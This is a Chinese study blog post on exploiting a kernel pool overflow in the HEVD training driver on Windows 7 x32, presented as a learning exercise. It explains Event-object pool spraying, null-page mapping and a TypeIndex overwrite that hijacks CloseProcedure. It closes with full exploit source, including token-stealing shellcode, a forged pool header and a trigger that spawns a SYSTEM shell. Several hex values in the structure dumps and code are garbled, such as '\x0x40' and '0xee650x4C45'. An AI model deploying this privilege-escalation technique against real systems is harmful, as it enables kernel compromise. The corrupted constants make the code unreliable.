HEVD--Win7_x32下内核池溢出利用

本文详细介绍了Windows内核池溢出漏洞的原理,通过分析`TriggerBufferOverflowNonPagedPool`函数,展示了如何通过不检查参数大小而导致的内存拷贝溢出。文章探讨了漏洞利用的可能性,包括修改内核池中结构体,特别是通过调整Event对象的内存布局,以在溢出时修改关键指针。作者解释了如何通过创建和释放Event对象来构造内存空洞,以便让溢出发生在特定位置,最终利用`CloseHandle`调用来劫持程序流。文章还提供了一段简单的EXP代码来演示攻击流程,并预告了在Win7_x64环境下另一种池溢出的利用学习总结。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x3 池溢出

前言

这篇学习小结压在我的小本本里很久了,最近准备面试,翻出来复习一下。为了避免保存在本地有丢失的风险,于是搬到在线博客中保存。

1.漏洞分析

int __stdcall TriggerBufferOverflowNonPagedPool(void *UserBuffer, unsigned int Size)
{
  PVOID KernelHeap; // ebx
  int result; // eax

  _DbgPrintEx(0x4Du, 3u, "[+] Allocating Pool chunk\n");
  KernelHeap = ExAllocatePoolWithTag(0, 0x1F8u, 'kcaH');
  if ( KernelHeap )
  {
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Type: %s\n", "NonPagedPool");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Size: 0x%X\n", 504);
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", KernelHeap);
    ProbeForRead(UserBuffer, 0x1F8u, 1u);
    _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%p\n", UserBuffer);
    _DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%X\n", Size);
    _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%p\n", KernelHeap);
    _DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%X\n", 504);
    _DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in NonPagedPool\n");
    memcpy(KernelHeap, UserBuffer, Size);       // 存在溢出
    _DbgPrintEx(0x4Du, 3u, "[+] Freeing Pool chunk\n");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Tag: %s\n", "'kcaH'");
    _DbgPrintEx(0x4Du, 3u, "[+] Pool Chunk: 0x%p\n", KernelHeap);
    ExFreePoolWithTag(KernelHeap, 0x6B636148u);
    result = 0;
  }
  else
  {
    _DbgPrintEx(0x4Du, 3u, "[-] Unable to allocate Pool chunk\n");
    result = -1073741801;
  }
  return result;
}

一个简单的溢出代码,没有检查传入的参数大小,直接进行内存拷贝,导致KernelHeap溢出。

3.漏洞利用

遇到池溢出,我们首先想到的是能不能通过溢出修改到位于池中重要的结构体,而正好结构体中还存在着函数指针,并且在应用层还能通过某个函数调用这个指针,如此便能劫持程序流。事实上当然存在着这种可能,但是要想办法创造这样的机会。在此之前,需要了解一些前置知识。

在内核池中,分配的内存有着一种结构,首先是它的头(_POOL_HEADER),后面是数据。

1: kd> dt _POOL_HEADER
nt!_POOL_HEADER
   +0x000 PreviousSize     : Pos 0, 9 Bits
   +0x000 PoolIndex        : Pos 9, 7 Bits
   +0x002 BlockSize        : Pos 0, 9 Bits
   +0x002 PoolType         : Pos 9, 7 Bits
   +0x000 Ulong1           : Uint4B
   +0x004 PoolTag          : Uint4B
   +0x004 AllocatorBackTraceIndex : Uint2B
   +0x006 PoolTagHash      : Uint2B

头部占8个字节,只需了解其中:

  • PreviousSize:前一个内存块大小
  • PoolIndex:当前内存块所属列表的索引
  • BlockSize:当前内存块大小
  • PoolTag:标识

所以系统实际分配的大小为用户请求大小与头部大小的总和,在本例中等于0x200字节。

正所谓创造机会则是,我们需要通过堆风水使得某个结构体正好紧邻着KernelHeap的下方,这样才能保证KernelHeap发生溢出时能修改到这个结构体,还要求是紧邻着的,否者很可能会破坏掉其它在用的内存数据导致系统异常。

那么如何才能在用户空间中分配位于内核池中的内存呢?还需要使用什么样的结构体呢?这里有个一举两得的函数——CreateEvent\textcolor{cornflowerblue}{CreateEvent}CreateEvent。该函数会在内核中生成一个Event对象,该对象的可选头部大小根据调用的参数不同而略有不同,总大小为0x40字节。

process infoquota infohandle infoname infocreator info
InfoMask0x100x080x040x020x01
Size0x080x100x080x100x10

该表是Event对象的每种可选头部大小与标志的对应关系。

Event对象的可选头部根据调用的参数可以没有,或者有一个,或者有多个。至于如何得知自己创建的Event对象的可选头部信息,更多的是靠经验和猜测并进行调试验证。这里直接说一下结论,我们代码中做出如下调用时:

CreateEventA(NULL, FALSE, FALSE, NULL);

得到的Event有一个可选头部quota_info,其结构如下:

1: kd> dt nt!_object_header_quota_info
   +0x000 PagedPoolCharge  : Uint4B
   +0x004 NonPagedPoolCharge : Uint4B//本Event对象占用的内存大小
   +0x008 SecurityDescriptorCharge : Uint4B
   +0x00c SecurityDescriptorQuotaBlock : Ptr32 Void

这个结构具体的成员含义不需要了解,我们只需要记住这个结构的大小为0x10即可,后面需要使用这个偏移加上0x8找到object_header结构,也就是Event的头部信息,其中有重要的信息是我们需要了解的,也是这个漏洞利用的一个关键。

object_header结构如下:

1: kd> dt nt!_object_header
   +0x000 PointerCount     : Int4B
   +0x004 HandleCount      : Int4B
   +0x004 NextToFree       : Ptr32 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : UChar//该对象在对象类型表中的索引
   +0x00d TraceFlags       : UChar
   +0x00e InfoMask         : UChar//该成员的值表示此对象的可选头信息
   +0x00f Flags            : UChar
   +0x010 ObjectCreateInfo : Ptr32 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : Ptr32 Void
   +0x014 SecurityDescriptor : Ptr32 Void
   +0x018 Body             : _QUAD

Win7及其以上的系统将所有的对象指针都放到了一张表(ObTypeIndexTable)中进行记录,对应的索引值保存在对象头部信息的TypeIndex成员中。通过TypeIndexObTypeIndexTable就能找到对象的数据。

如何确认Event的可选头部信息,前辈们也总结出了一些方法,就是套结构。看上面的表,一共就5种结构,两种大小。如果套的结构正确,那么看到的数据就会正常。例如在套用quota_info结构后,看到其NonPagedPoolCharge0x40,然后通过偏移查看object_header结构的InfoMask是不是0x08就能相互印证是否是quota_info结构体了。

Event对象数据结构:

1: kd> dt _object_type
win32k!_OBJECT_TYPE
   +0x000 TypeList         : _LIST_ENTRY
   +0x008 Name             : _UNICODE_STRING
   +0x010 DefaultObject    : Ptr32 Void
   +0x014 Index            : UChar
   +0x018 TotalNumberOfObjects : Uint4B
   +0x01c TotalNumberOfHandles : Uint4B
   +0x020 HighWaterNumberOfObjects : Uint4B
   +0x00x18 HighWaterNumberOfHandles : Uint4B
   +0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER//重点关注
   +0x078 TypeLock         : _EX_PUSH_LOCK
   +0x07c Key              : Uint4B
   +0x080 CallbackList     : _LIST_ENTRY

其中的TypeInfo是我们所关注的

win32k!_OBJECT_TYPE_INITIALIZER
   +0x000 Length           : Uint2B
   +0x002 ObjectTypeFlags  : UChar
   +0x002 CaseInsensitive  : Pos 0, 1 Bit
   +0x002 UnnamedObjectsOnly : Pos 1, 1 Bit
   +0x002 UseDefaultObject : Pos 2, 1 Bit
   +0x002 SecurityRequired : Pos 3, 1 Bit
   +0x002 MaintainHandleCount : Pos 4, 1 Bit
   +0x002 MaintainTypeList : Pos 5, 1 Bit
   +0x002 SupportsObjectCallbacks : Pos 6, 1 Bit
   +0x002 CacheAligned     : Pos 7, 1 Bit
   +0x004 ObjectTypeCode   : Uint4B
   +0x008 InvalidAttributes : Uint4B
   +0x00c GenericMapping   : _GENERIC_MAPPING
   +0x01c ValidAccessMask  : Uint4B
   +0x020 RetainAccess     : Uint4B
   +0x00x18 PoolType         : _POOL_TYPE
   +0x028 DefaultPagedPoolCharge : Uint4B
   +0x02c DefaultNonPagedPoolCharge : Uint4B
   +0x030 DumpProcedure    : Ptr32     void 
   +0x034 OpenProcedure    : Ptr32     long 
   +0x038 CloseProcedure   : Ptr32     void 
   +0x03c DeleteProcedure  : Ptr32     void 
   +0x040 ParseProcedure   : Ptr32     long 
   +0x044 SecurityProcedure : Ptr32     long 
   +0x048 QueryNameProcedure : Ptr32     long 
   +0x04c OkayToCloseProcedure : Ptr32     unsigned char 

从偏移0x30开始,存放着若干个函数指针,而对于Event对象来说,我们调用CloseHandle\textcolor{cornflowerblue}{CloseHandle}CloseHandle时会触发CloseProcedure\textcolor{cornflowerblue}{CloseProcedure}CloseProcedure,我们只要想办法修改CloseProcedure\textcolor{cornflowerblue}{CloseProcedure}CloseProcedure指针就好了。但问题是CloseProcedure\textcolor{cornflowerblue}{CloseProcedure}CloseProcedure指针并不存在Event的头部,CloseProcedure\textcolor{cornflowerblue}{CloseProcedure}CloseProcedure与头部在内存中并不连续,中间会有其他内存数据,我们不能直接一股脑全覆盖。有个办法就是我们可以通过覆盖位于头部的TypeIndex0,那这有什么效果呢?Win7 x32ObTypeIndexTable开头一项永远是0,而且在Win7下,可以通过NtAllocateVirtualMemory\textcolor{cornflowerblue}{NtAllocateVirtualMemory}NtAllocateVirtualMemory分配0页地址,我们将shellcode布置到0页地址的0x600x28+0x38\textcolor{orange}{0x28+0x38}0x28+0x38)处。这样一来,当我们调用CloseHandle\textcolor{cornflowerblue}{CloseHandle}CloseHandle时,系统会通过Event头部的TypeIndex定位到0页地址,然后通过位于object_type+0x28\textcolor{orange}{object\_type+0x28}object_type+0x28TypeInfo找到位于TypeInfo+0x38\textcolor{orange}{TypeInfo+0x38}TypeInfo+0x38处的CloseProcedure\textcolor{cornflowerblue}{CloseProcedure}CloseProcedure并调用之,进而程序流被劫持,成功提权。

首先我们要做的是堆风水,已知KernelHeap+Pool_Header=0x200\textcolor{orange}{KernelHeap+Pool\_Header=0x200}KernelHeap+Pool_Header=0x200,一个Event对象大小是0x400x200的大小共有8Event。我们先分配数目比较多(经测试5000个就可以了)的Event对象,然后每隔一个Event对象就连续释放8Event对象,最后内存布局应该是这样的:

                                                        +-------------|-----------+
                                                        |    Size     |   Stat    |
                                                        +-------------|-----------+<---
                                                        |   0x40      |   Free    |   |
                                                        +-------------|-----------+   |
                                                        |   0x40      |   Free    |   |
                                                        +-------------|-----------+   |
                                                        |   0x40      |   Free    |   |
                                                        +-------------|-----------+   |
                                                        |   0x40      |   Free    |   |Free size: 0x200
                                                        +-------------|-----------+   |
                                                        |   0x40      |   Free    |   |
                                                        +-------------|-----------+   |
                                                        |   0x40      |   Free    |   |
                                                        +-------------|-----------+   |
                                                        |   0x40      |   Free    |   |
                                                        +-------------|-----------+   |
                                                        |   0x40      |   Free    |   |
                                                        +-------------|-----------+<---
                                                        |   0x40      |   Alloc   |
                                                        +-------------|-----------+
                                                        |   0x40      |   Free    |
                                                        +-------------|-----------+
                                                        			...

这会形成若干个0x200的空洞,之后HEVDKernelHeap分配的内存就会落在这其中的某个空洞中,而紧邻空洞下方的正是处于使用中的Event对象内存,接着我们就可以通过溢出去修改Event对象了。

溢出的时候会覆盖池头和Event的部分结构,因此需要对这些部分进行伪造,确保系统不发生异常,对于这些部分的伪造也相当简单,只要在溢出之前查看一下数据并伪造就好了。

最后关闭所有Event的句柄就能劫持程序流了。

4.EXP

#include <stdlib.h>
#include<stdio.h>

#define SymLinkName "\\\\.\\HacksysExtremeVulnerableDriver"
HANDLE g_hDev = INVALID_HANDLE_VALUE;
HANDLE g_spray2[5000] = { 0 };

CHAR shellcode[] = {
	"\x90\x90\x90\x90"              // NOP Sled
	"\x60"                          // pushad
	"\x31\xc0"                      // xor eax,eax
	"\x0x40\x8b\x80\x0x18\x01\x00\x00"  // mov eax,[fs:eax+0x10x18]
	"\x8b\x40\x50"                  // mov eax,[eax+0x50]
	"\x89\xc1"                      // mov ecx,eax
	"\xba\x04\x00\x00\x00"          // mov edx,0x4
	"\x8b\x80\xb8\x00\x00\x00"      // mov eax,[eax+0xb8]
	"\x2d\xb8\x00\x00\x00"          // sub eax,0xb8
	"\x39\x90\xb4\x00\x00\x00"      // cmp [eax+0xb4],edx
	"\x75\xed"                      // jnz 0x1a
	"\x8b\x90\xf8\x00\x00\x00"      // mov edx,[eax+0xf8]
	"\x89\x91\xf8\x00\x00\x00"      // mov [ecx+0xf8],edx
	"\x61"                          // popad
	"\xC2\x10\x00"                  // ret 16
};

BOOL GetDevHandle() {
	//打开驱动符号链接
	g_hDev=CreateFileA(
		SymLinkName,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL
	);

	return g_hDev != INVALID_HANDLE_VALUE;
}

VOID AttackPayload(){
	__asm {
		pushad; 保存堆栈状态
		xor eax, eax
		mov eax, fs: [eax + KTHREAD_OFFSET] ; 获取当前进程对象 _EPROCESS
		mov eax, [eax + EPROCESS_OFFSET]
		mov ebx, eax; ebx保存的是当前进程的_EPROCESS
		mov ecx, SYSTEM_PID

		; 开始搜索system进程的_EPROCESS
		SearchSystemPID :
			mov eax, [eax + PROCESS_LINK_OFFSET]
			sub eax, PROCESS_LINK_OFFSET
			cmp[eax + PID_OFFSET], ecx; 判断是否是system的PID
			jne SearchSystemPID

			; 如果是则开始将当前进程的TOKEN替换程system的TOKEN
			mov edx, [eax + TOKEN_OFFSET]; 取得system的TOKEN
			mov[ebx + TOKEN_OFFSET], edx; 替换当前进程的TOKEN
			popad; 恢复堆栈状态
			mov eax,1
	}
}

VOID AttackKernelHeap() {
	PDWORD payload = (PDWORD)HeapAlloc(GetProcessHeap(),
		HEAP_ZERO_MEMORY,
		(0x1f8+0x40)*sizeof(DWORD));

	PVOID Exp = &AttackPayload;
	HMODULE hmodule = GetModuleHandleA("ntdll.dll");
	PVOID baseAddress = (PVOID)1;
	ULONG regionsize = 0x1000;
	
	NtAllocateVirtualMemory_t NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hmodule, "NtAllocateVirtualMemory");
	if (NtAllocateVirtualMemory == NULL) {
		printf("getprocaddress failed\n");
		return ;
	}
	NTSTATUS ntst = 0;
	ntst = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,
		&baseAddress,
		0,
		&regionsize,
		MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
		PAGE_EXECUTE_READWRITE);
	if (ntst != 0) {
		printf("Alloc memery failed\n");
		return;
	}
	FreeLibrary(hmodule);
	FillMemory(payload, 0x1f8, 'A');//填充
	int s = 0x1f8 / sizeof(DWORD);
	/*
		伪造堆头8字节
	*/
	payload[s++] = 0x04080040;
	payload[s++] = 0xee650x4C45;
	/*
		伪造Event对象,0x40字节
	*/
	payload[s++] = 0;
	payload[s++] = 0x40;
	payload[s++] = 0;
	payload[s++] = 0;
	payload[s++] = 1;
	payload[s++] = 1;
	payload[s++] = 0;
	payload[s++] = 0x80000;//将index改为0

	//写0页面内存
	*(PULONG)0x00000060 = (ULONG)Exp;
	__try {
		if (GetDevHandle()) {
			////堆风水
			for (int i = 0; i < 5000; i++) {
				g_spray2[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
				if (!g_spray2[i]) {
					printf("CreateEvent failed!\n");
					return;
				}
			}
			//制造空洞
			//printf("Closing:");
			for (int i = 0; i < 5000; i = i + 16) {
				for (int j = 0; j < 8; j++) {
					CloseHandle(g_spray2[i + j]);

				}
				//printf("\n");
			}

			DeviceIoControl(g_hDev, 0x22200F, payload, 0x1f8 + 0x40, NULL, 0, NULL, 0);
			//提权
			for (int i = 8; i < 5000; i = i + 16) {
				for (int j = 0; j < 8; j++) {
					CloseHandle(g_spray2[i + j]);
				}
				//printf("\n");
			}

			system("cmd");
		}
	}
	__except (1) {
		printf("Error\n");
		exit(1);
	}

}

int main() {
	AttackKernelHeap();
	return 0;
}

PS:后续还会发布一篇在Win7_x64下另一种池溢出的利用学习总结。\textcolor{green}{PS:后续还会发布一篇在Win7\_x64下另一种池溢出的利用学习总结。}PS:Win7_x64

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值